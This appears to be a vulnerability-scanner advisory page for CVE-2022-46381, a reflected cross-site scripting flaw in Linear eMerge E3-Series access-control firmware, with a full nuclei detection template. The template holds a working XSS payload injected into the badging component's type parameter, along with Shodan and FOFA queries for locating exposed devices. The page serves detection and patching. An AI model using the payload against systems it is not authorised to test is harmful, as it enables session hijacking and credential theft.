Linear eMerge E3-Series - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.8%likelihood of exploitation, next 30 days

79%of all CVEs are less likely

Readycheck to confirm it

Linear eMerge E3-Series devices contain a cross-site scripting vulnerability via the type parameter, e.g., to the badging/badge_template_v0.php component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and thus steal cookie-based authentication credentials and launch other attacks. This affects versions 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patch or update provided by the vendor to fix the XSS vulnerability in the Linear eMerge E3-Series.

How to confirm it

Send: GET {{BaseURL}}/badging/badge_template_v0.php?layout=1&type="/><svg/onload="alert(document.domain)"/>
Positive when: contains "<svg/onload=\"alert(document.domain)\"/>" and "Badging Template" AND status 200

Run it with nuclei: nuclei -id CVE-2022-46381 -u <target>

The full check

id: CVE-2022-46381

info:
  name: Linear eMerge E3-Series - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Linear eMerge E3-Series devices contain a cross-site scripting vulnerability via the type parameter, e.g., to the badging/badge_template_v0.php component. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and thus steal cookie-based authentication credentials and launch other attacks. This affects versions 0.32-08f, 0.32-07p, 0.32-07e, 0.32-09c, 0.32-09b, 0.32-09a, and 0.32-08e.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or update provided by the vendor to fix the XSS vulnerability in the Linear eMerge E3-Series.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46381
    - https://github.com/omarhashem123/Security-Research/blob/main/CVE-2022-46381/CVE-2022-46381.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46381
    - https://github.com/amitlttwo/CVE-2022-46381
    - https://github.com/k0mi-tg/CVE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46381
    cwe-id: CWE-79
    epss-score: 0.01826
    epss-percentile: 0.78988
    cpe: cpe:2.3:o:niceforyou:linear_emerge_e3_access_control_firmware:0.32-07e:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: niceforyou
    product: linear_emerge_e3_access_control_firmware
    shodan-query:
      - http.html:"Linear eMerge"
      - http.html:"linear emerge"
    fofa-query: body="linear emerge"
  tags: cve,cve2022,xss,emerge,linear,niceforyou,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/badging/badge_template_v0.php?layout=1&type="/><svg/onload="alert(document.domain)"/>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<svg/onload="alert(document.domain)"/>'
          - 'Badging Template'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from